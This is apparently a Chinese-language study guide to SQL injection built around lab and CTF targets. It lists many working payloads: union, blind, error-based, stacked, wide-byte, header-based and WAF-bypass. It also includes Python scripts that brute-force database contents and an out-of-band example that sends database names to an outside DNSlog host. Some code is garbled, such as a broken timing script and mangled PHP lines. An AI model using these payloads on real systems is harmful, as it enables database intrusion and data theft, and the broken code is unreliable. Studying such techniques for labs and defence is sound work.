sql注入大总结【万字详解】

靶场地址:链接:https://pan.baidu.com/s/1GgUUfG4QLUM5LTwbNCzb3A?pwd=cong

数据库的架构

  • access数据库无数据库用户

  • mysql数据库

    • mysql类型一

      • root(自带默认)

        • 网站A testA
        • 网站B testB
    • mysql类型二

      • testA用户

        • 网站A testA
      • testB用户

        • 网站B testB
  • mysql数据库名称含义

    • information_schema:存储数据库下的数据库名、表名及列名信息的数据库。

      information_schema.schemata:记录数据库名信息的表。

      information_schema.tables:记录表名信息的表。

      information_schema.columns:记录列名信息的表。

      schema_name:在information_schema.schemata中,用于记录数据库名的列名值。

      table_schema:在information_schema.tables中,用于记录数据库名的列名值。

      table_name:在information_schema.tables中,用于记录表名的列名值。

      column_name:在information_schema.columns中,用于记录列名的字段。

    • 示例

      • information_schema.schemata中的schema_name

      • information_schema.tables中的table_name

      • information_schema.columns中的column_name

sql注入

  1. 概念
    1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句
  3. 正常回显页面
  4. 在页面中使用sql语句
    1. 查有多少字段

      1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+

      2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段

    2. 数据库名称

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+
    3. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

      2. 字段

        1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
      3. 对应字段的值

      4. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

  5. 跨库查询

    1. 数据库名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
    2. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+
    3. 字段

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+
    4. 字段的值

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+

sql文件读写

  1. 影响条件
    1. 当前数据库用户的权限
    2. secyre-file-priv设置
  2. 复现
    1. 读写的路径的问题
      1. 报错显示获取路径
      2. phpinfo页面泄露
      3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型
    1. 数字型

      1. select * from news where id=$id;
    2. 字符型

      1. select * from news where id=‘$id’;
    3. 搜索型

      1. select * from news where id like ‘%id%’;
    4. 框架型

      1. select * from news where id=(‘$id’);
      2. select * from news where (id=‘$id’);
  2. sql注入请求方式:
    1. get,post,files,http头等

      1. user-agent

        1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];
      2. cookie

        1. 语句: c = c= c=_COOKIE[‘c’];
      3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)

        1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];
      4. Referer:请求来源–从哪个网站来的

        1. 语句: r = r= r=_REQUEST[‘r’];
      5. Host:指定自己想访问的web服务的域名/ip地址和端口号

  3. sql注入数据请求格式
    1. json格式

    2. base64格式

数据库的增删改查

  1. 数据库查询
    1. SELECT * FROM news where id=$id
  2. 数据库添加
    1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除
    1. DELETE FROM news where id=$id
  4. 数据库修改
    1. UPDATE news SET id=$id

盲注

常用的爆破参数:

可见字符ascii码:
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
常见的爆破参数:
python标准库(可见字符):chars=string.ascii_letters+string.digits+string.putctuation
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0-20数字
------
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  1. 时间

    1. 概念

      1. 通过时间判断语句是否成功执行来解决无回显问题
    2. and sleep(1);

    3. and if(1>2,sleep(5),0);

    4. 复现

      1. 页面无论输入什么都不报错,回显

        1. 猜测时间盲注

          1. payload:

            1' and sleep(5)%23
            
        2. 放入攻击模块进行爆破,爆破数据库
          payload:

          ?id=1' and  if((substr(database(), §1§, 1))='§S§', sleep(5), null)%23
          //得到数据库名SQL10
          
        3. 爆破表名长度

          1. payload

            ?id=1'and If(length((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1))=5,sleep(10),1)#
            
        4. 爆破表名

          1. payload

            ?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1),1,1))=117,sleep(100000),1)#
            
        5. 爆破字段长度

          1. payload

            ?id=1'and If(length((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1))=4,sleep(100000),1)#
            
        6. 爆破第四个字段名

          1. payload

            id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1),1,1))=102,sleep(100000),1)#
            
        7. 爆破数据

          1. paoload

            可以使用脚本,也可以使用bp
            import requests
            import string
            chars = string.digits + string.ascii_letters +{}!@#$_”
            
            url = “http://192.168.17.87:3010/?id=1”
            
            flag = ‘’
            
            for i in range(1, 55):
            
            if}in flag:
            
            break
            
            for char in chars:
            
            payload = “’ and if(ascii(substring((select flag from users),%d,1))=%s’,sleep(3),3)-- -%(i, ord(char))
            
            try:
            
            result = requests.get(url + payload, timeout=2)
            
            except:
            
            flag = flag + char
            
            print(flag)
            
            break
            
            
  2. 布尔

    1. 概念
      1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量,页面返回或sql返回结果只有两种因该要先到布尔注入

      2. and length(database())=7;

      3. and left(database(),2)=‘pi’

      4. and substr(database(),1,1)=‘p’

    2. 复现
      1. 页面输出?id=1'--+无回显 输入?id=1'有回显

      2. 查数据库名的长度

        1.  http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and (length(database()))>4 --+//有回显
           http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and (length(database()))>5 --+//无回显
          
      3. 查数据库名

        1. payload:?id=1'and%20ascii(substr(database(),§1§,1))>§82§--+
      4. 查表名

        1. payload:?id=1'%20and%20(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),§1§,1)))=§100§--+
      5. 爆破字段

        1. payload:?id=1'%20and%20(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema='SQL09'%20and%20table_name='users'%20limit%203,1),§S§,1)))=§S§--+
      6. 爆破数据

        1. payload

          可以脚本,可以bp
          bp的payload:
          ?id=1'%20and%20hex(left((select%20flag%20from%20SQL09.users),1))=hex('S')--+
          
          脚本如下:
          import requests
          import string
          
          chars = string.digits + string.ascii_letters + "{}!@#$_"
          
          url = "http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/"
          
          flag = ''
          
          for i in range(1, 20):
          
              if "}" in flag:
                  break
          
              for char in chars:
                  tmp = flag + char
                  payload = "?id=1'/**/and/**/hex(left((select/**/flag/**/from/**/SQL09.users),%d))=hex('%s')--+" % (i, tmp)
          //?id=1' and left((select hex(flag) from users),%d)=hex('%s') -- -也行
          //?id=1' and left((select flag from SQL09.users),%d)='%s'--+也行
                  result = requests.get(url + payload)
                  # print(payload)
          
                  if "SangFor" in result.text:
                      flag = flag + char
                      print(flag)
                      break
          
  3. 报错

    1. 概念
      1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数

      2. updatexml函数

        1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)

      3. extractvalue函数

        1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

      4. flor函数

        1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)
      5. NAME_CONST报错

        1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (select*from(select name_const(version(),0))a join (select name_const(version(),0))b)c)
    2. 复现
      1. 查字段数

        1. payload:?id=-1" order by 5%23
      2. 查数据库名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(database())),0)%23
      3. 查表名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='SQL08'),0x7e),0x7e)%23
      4. 查看字段名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),0x7e)%23
      5. 查数据

        1. payload:?id=-1" and updatexml(1,concat(1,(select substr(flag,1,31) from users limit 0,1)),1)%23

二次注入

  1. 插入恶意发数据
    1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据
    1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:
    1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入

      1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:
    1. 主要源码

      register.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          $username = addslashes($_POST['username']);
          $password = $_POST['password'];
      
          // 插入新用户记录
          $query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
      ===================================================================================
      changepassword.php
      $query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'";
          $result = mysqli_query($connection, $query) or die(mysqli_error($connection));
          if (mysqli_num_rows($result) > 0) {
              // 更新密码
              $query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";
              $updateResult = mysqli_query($connection, $query);
              if ($updateResult) {
                  echo "Password changed successfully!";
              } else {
                  echo "Failed to change password!";
              }
          } else {
              echo "Invalid username or current password!";
          }
      
  5. 堆叠注入

    1. 条件

      1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行
      2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询
      3. 存在sql漏洞并未对‘;‘进行过滤
    2. 示例:

      [强网杯 2019]随便注  1
      ';show databases;//注意不是database()
      ';show tables;
      1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#
      进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思
      解法二:
      1'; handler `1919810931114514` open as a; handler a read next;#
      解读:
      handler代替select,以一行一行显示内容
      open打开表
      as更改表的别名为a
      read next读取数据文件内的数据次数
      解法三:
      1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
      解读:
      -- 重命名表 words 为 BaiMao
      RENAME TABLE words TO BaiMao;
      
      -- 重命名表 1919810931114514 为 words
      RENAME TABLE `1919810931114514` TO words;
      
      -- 向表 words 添加一个自动递增的 id 列,并设为主键
      ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;
      
      -- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)
      ALTER TABLE words CHANGE flag data VARCHAR(100);
      
      -- 注释掉之后的内容
      

带外注入

  1. 条件

    1. root高权限
    2. 数据库支持load_file函数
  2. 示例:

    1.  SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//', (SELECT DATABASE()),'.k7e9z3.dnslog.cn')));
       实战碰到的概率不大,演示不了,payload如上所示
      

宽字节注入

  1. 介绍
    1. 进行闭合 mysql 在使用 GBK 编码的时候,如果第一个字符的 ASCII 大于128 ,mysql 会认为两个字符为一个汉字,例如 %aa%5c 就是一个汉字。我们在过滤 ’ 的时候,往往利用的思路是将 ’ 转换为 ’ 。当我们输入“%df’”时,如果使用了转义函数,就会变成“%df’”,mysql 认为“%df\”为一个汉字,那后面的单引号就逃逸出来了。
  2. 复现
    1. 在网址输入id=1正常回显,输入’也正常回显,输入and 1=2也也正常回显,可能对’过滤了,也可能是预编译无法注入,只能想办法绕过

    2. 经过一下payload确认是宽字节注入,对’进行过滤

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and 1=2--+//不正常回显
         http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and 1=1--+//正常回显
        
    3. 获取回显数字

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,3,4,5 %23
        
    4. 查看数据库

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,database() ,4,5%23
         获取数据库名SQL07
        
    5. 查看数据表名

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x53514c3037 %23
         http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()%23
         两个都行,都可以避开',得到表名users
        
    6. 查看表名

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x7573657273 %2316进制就避开'的过滤,得到表名id,username,password,flag,reg_date
        
    7. 获取数据

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,flag,4,5 from users %23
        

数据包头注入

  1. usergent注入
    1. 首页usergent信息,用单引号发现报错,尝试报错注入

    2. 普通的报错注入发现行不通,根据sql语句报错

    3. 根据sql报错语句提示,因该少了个单引号,并用单引号连接,成功过注入

      1. payload

        '+updatexml(1,concat(0x7e,(database())),0)+'
        
    4. 按照以上格式,可以制作payload

      1.  查数据库名
         '=updatexml(1,concat(0x7e,(database())),0)='
        
         查询所有表
         User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 
        
         查询users表的所有字段
         User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +'
        
         获取Flag
         User-Agent:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
        
  2. referer头注入
    1. referer分析过程同上

    2. payload

      查数据库名
      '=updatexml(1,concat(0x7e,(database())),0)='
      
      查询所有表
      Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 
      
      查询users表的所有字段
      Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +'
      
      获取Flag
      Referer:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
      
  3. cookie头注入
    1. cookie分析过程同上

    2. paylaod

      
      

MD5注入

  1. 源代码:
    1.  <?php
       include 'conn.php';
       error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
      
       if ($action === 'login') {
       	$username = addslashes($_POST['username']);//addslashes用来将字符串进行转义,防止sql注入,但是如果使用不当就有可能导致堆叠注入
       	$password = md5($_POST['password']);
      
       	$sql = "SELECT password FROM users where username =  '" . $username . "'";
       	$res = mysql_query($sql) or die(mysql_error());
      
       	$row = mysql_fetch_row($res);
       	if($row[0] === $password){
       		echo $flag;
       	}else{
       		echo 'username or password error.';
       	}
       	mysql_close($con);
       }
       ?>
      
  2. 解读
    1. 首先get传参action位login进入if条件

    2. res变量存储的是sql查询语句的结果集,当传入的username为空时,他也为空

    3. 然后再继续配合md5 无法处理数组的漏洞,抓包将password 的类型修改为数组类型,password值也变为空,这样就强相等了

    4. payload:

      get:
      action=login
      
      post:
      username=&password[]=
      

常量突破注入

  1. 源代码
    1.  <?php
      
       include 'conn.php';
      
       error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
      
       if ($action === 'login') {
       	if(strlen($_POST['username']) > 30){
       		exit('username limit 30 characters');
       	}
       	$username = $_POST['username'];
       	$password = md5($_POST['password']);
      
       	$sql = "SELECT password FROM users where username =  '" . $username . "'";
       	$res = mysql_query($sql) or die(mysql_error());
      
       	$row = mysql_fetch_row($res);
       	if(isset($row[0])){
       		if($row[0] === $password){
       			echo $flag;
       		}else{
       			echo 'password error.';
       		}
       	}else{
       		echo 'username error.';
       	}
       	mysql_close($con);
       }
       ?>
      
       payload:
       get:
       action=login
      
       post:
       username=' union select md5(1)%23&password=1
      
  2. 解读
    1. action位login进入if条件
    2. 我们可以让username为’ union select md5(1)#这个字符时他会构造一个新语句,这是元语句SELECT password FROM users where username = ’变量‘,注入后的语句变为SELECT password FROM users where username = ’’ union select md5(1)#‘,可以看出成功闭合了,并返回的结果为md5(1),故此时的sql为md5(1)
    3. 所以让其相等只需要password页尾1即可,因为后面有个加密函数

insert注入(*)

  1. 基础知识
    1. mid函数

      1. mid(‘admin’,1,2)其中2表示一组显示多少个字母,1代表第一组
    2. 逗号的绕过

      1. 我们都知道if(1,2,3)函数,其中1正确就返回2,1错误返回3,但是这个函数会有逗号,我们就可以通过case函数进行绕过,语法如下

        1.  select CASE WHEN 1 THEN 2 ELSE 3 END
           //1正确就返回21错误就返回3
          
      2. 其次,我们返回flag时,由于mysql_query函数的结果字数限制,需要切分多次返回,此时就需要mid函数和limit函数了,但是mid函数会有逗号,我们就可以将其变形一下,如下

        1.  select MID('admin' from 1 for 1)
           此函数等于select MID('admin',1,1)
          
           LIMIT 1 OFFSET 0
           此函数等于LIMIT 01
          
  2. 靶场
    1. 重点:逗号绕过,mid,if变形,

    2. 看到题目,只有ip与次数(能记录次数说明可能与数据库的插入有关),捉包访问,添加XFF头,发现可以操控数据

    3. 用dirsearch扫出index.php~,源码如下

      1.  <!DOCTYPE html>
         <html lang="en">
           <head>
             <meta charset="utf-8" />
             <meta http-equiv="X-UA-Compatible" content="IE=edge" />
             <meta name="viewport" content="width=device-width, initial-scale=1" />
             <title>Insert注入</title>   
           </head>
           <body>
           <?php
           
           function getIP() { 
                 if (getenv('HTTP_CLIENT_IP')) { 
                     $ip = getenv('HTTP_CLIENT_IP'); 
                 } 
                 elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
                     $ip = getenv('HTTP_X_FORWARDED_FOR'); 
                 } 
                 elseif (getenv('HTTP_X_FORWARDED')) { 
                     $ip = getenv('HTTP_X_FORWARDED'); 
                 } 
                 elseif (getenv('HTTP_FORWARDED_FOR')) { 
                     $ip = getenv('HTTP_FORWARDED_FOR'); 
                 } 
                 elseif (getenv('HTTP_FORWARDED')) { 
                     $ip = getenv('HTTP_FORWARDED'); 
                 } 
                 else { 
                     $ip = $_SERVER['REMOTE_ADDR']; 
                 } 
                 return $ip; 
             } 
             $count = 0;
             $ip = explode(',', getIP())[0];
             error_reporting(0);
             $con = mysql_connect('127.0.0.1','root','') or die("Unable to connect to the MySQL!");
             mysql_select_db('sql22',$con);
             mysql_query("set names utf8");
             mysql_query("INSERT into log(ip) values('".$ip."')") or die(mysql_error());
             $res = mysql_query("SELECT count(1) FROM log") or die(mysql_error());
             $count = mysql_fetch_array($res)[0];
             mysql_close($con);
           
             ?>
           今日浏览量:<?php echo $count ?> <br/>
           当前访问者:<?php echo $ip ?>
           
           </body>
         </html>
        
    4. explore函数是用于获取客户端的ip,上述代码以逗号分隔,只取逗号前面部分,导致后面语句无法执行,相当于过滤逗号

    5. 首先爆破数据库名

      1. payload

        '+ CASE WHEN (SELECT ASCII(mid(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +'
        '+ CASE WHEN (SELECT ASCII(SUBSTRING(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +'
        
        
    6. 爆破表名

      1. payload:

        '+ CASE WHEN (ascii(mid((SELECT table_name FROM information_schema.tables WHERE table_schema='SQL22' LIMIT 1 OFFSET 0) from §1§ for 1))=§117§) THEN sleep(500000) ELSE 3 END +'
        
    7. 爆字段名

      1. payload

        '+ CASE WHEN (ascii(substr((select column_name from information_schema.columns where table_schema='SQL22' and table_name='flag' limit 1 OFFSET 0)from §1§ for 1))=§102§) THEN sleep(500000) ELSE 3 END +'
        
    8. 爆数据

      1. 脚本

        import sys
        import requests
        import string
        import time
        
        characters = string.ascii_letters + string.digits + string.punctuation
        a=''
        for pos in range(25):
            for ch in characters:
                headers = {
                    'X-Forwarded-For': "'+(case when (select ascii(mid(flag from  %d for 1)) from flag)=ascii('%c') then sleep(10) else 1 end)+'" % (pos + 1, ch)
                }
                try:
                    requests.get('http://vp1lgupzu2wwn2wd.ctfw.edu.sangfor.com.cn', headers=headers, timeout=10)
                except requests.exceptions.Timeout:
                    a=a+ch
                    print(a)
                    break
        

内联注释~边界突破

  1. 基础知识
    1. 正则表达式表
      1.  /bunion  //过滤union开头
         is    //不区分大小写
         -- -注释
         /*!50000此处语句可执行*/  可执行(内联)注释,50000为版本号
        
  2. 示例
    1. 源代码
      1.  <?php
        
         include 'conn.php';
        
         error_reporting(0);
        
         $id = webscan_StopAttack($_GET['id']);
         $sql = "SELECT * FROM users where id = '" . $id . "'";
         $res = mysql_query($sql) or die(mysql_error());
        
         while($row = mysql_fetch_array($res)){
            echo $row[1] . "<br>" . $row[2] . "<br>";
         }
        
         function webscan_StopAttack($string) {
         	if (preg_match("/\bunion\b|\bselect\b|\bfrom\b/is",$string)==1){
         		exit('Sorry My Boy!');
         	}
         	return $string;
         }
        
         ?>
        
    2. 查回显

      1. payload

        http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,2,3,4,5--+
        
    3. payload如下

      查数据库名
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,database(),3,4,5--+
      
      查表名
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(table_name),3,4,5 /*!50000from*/ information_schema.tables where table_schema="SQL20" --+
      
      
      查字段
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(column_name),3,4,5 /*!50000from*/ information_schema.columns where table_schema="SQL20" and table_name='users' --+
      
      
      查数据
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(0x5c,flag,0x5c),3,4,5 /*!50000from*/SQL20.users --+
      

逻辑比较注入

  1. 源代码

    1.  error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
       if ($action === 'login') {
           $username = substr($_POST['username'], 0, 4);
           $password = md5($_POST['password']);
           $sql = "SELECT * FROM users WHERE username = '".$username."' AND password = '".$password."'";
           $res = mysql_query($sql) or die(mysql_error());
           $row = mysql_fetch_row($res);
           if (isset($row[0])) {
               echo $flag;
           } else {
               echo 'username or password error.';
           }
           mysql_close($con);
       }
      
  2. substr函数之前前四位,说明长度只能在前四位有效

  3. 输出flag的条件是查询语句为真,我们可以使用’ or 1=1来闭合,但是语句超过长度为4的限制

  4. 故使用payload'<1#即可绕过,带入后语句变为SELECT * FROM users WHERE username = ''<1#' AND password = ''

  5. 故payload如下

    1.  username='<1#&password=
      

WAF的绕过

  1. union绕过

    1. 考到题目,过滤一堆东西并告诉我们flag在waf01.passwd中

    2. 可以看到过滤函数有

      1. # -- -这个被过滤了,可以用闭合手法
      2. union这个过滤了,可以用positman绕过
      3. 过滤逗号,可以看上面的inser注入部分来绕过
      4. 空格过滤空格可以用/**/或者括号来绕过
    3. 前置知识点
      1. 布尔注入
        1.  select * from admin where id = ''<0^''    //无回显
           select * from admin where id = ''<1^''    //有回显
           由此看来可以进行布尔盲注
          
      2. POSITION函数
        1.  select POSITION('in' in 'administrator')//4
           select POSITION('i' in 'administrator')//4
           select POSITION('dmin' in 'administrator')//2
          
           select POSITION('dmin' in 'administrator')=2//1
           select POSITION('dmin' in 'administrator')=3//0
           返回布尔值,可以采用布尔注入
          
    4. 先简单构造payload的框架

      1.  ?username='<(POSITION(('a')in(waf01.passwd))=1)^'//无回显
         ?username='<(POSITION(('f')in(waf01.passwd))=1)^'//有回显
        
    5. 根据以上思路,写出python脚本进行爆破即可

      1.  import requests
        
         url = "http://8xvqpeiyqunoyo4b.ctfw.edu.sangfor.com.cn/index.php?username="
        
         flag = ''
        
         for i in range(30):
             for ch in '{}_1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM':
                 tmpflag = flag + ch
                 tmp = url + ("'<(POSITION(hex('%s')IN(hex(waf01.passwd)))=1)^'" % tmpflag)
                 rsp = requests.get(tmp)
                 # print(tmpflag)
                 if 'username=admin' in rsp.text:
                     flag = tmpflag
                     # print(flag)
                     print(tmpflag)
                     break
         //好像跑到for就不行了,可能被过滤掉了,不知道是如何过滤的,不懂!!!
        
  2. 利用花括号绕过匹配

    1. 关键源码:

      flag in waf02.passwd
      $filter = "/<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)/i"; 
      
    2. 没有过滤花括号,可以构造payload

      ?username='union select{`x`1},{`x`passwd},{`x`3},{`x`4}from waf02 -- -
      
      也可以使用报错注入
      ?username='and updatexml(1,concat_ws(0x7e,0x7e,(select{`1`passwd}from waf02 )),3)%23
      
  3. %0a绕过空格

    1. 关键代码:

      flag in waf03.passwd
      $filter = "/[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)/i"; 
      
    2. 仔细观察正则看似复杂,其实只是过滤了 union 、 select 、 from等单词边界,但并没有过滤“%0a”

    3. payload

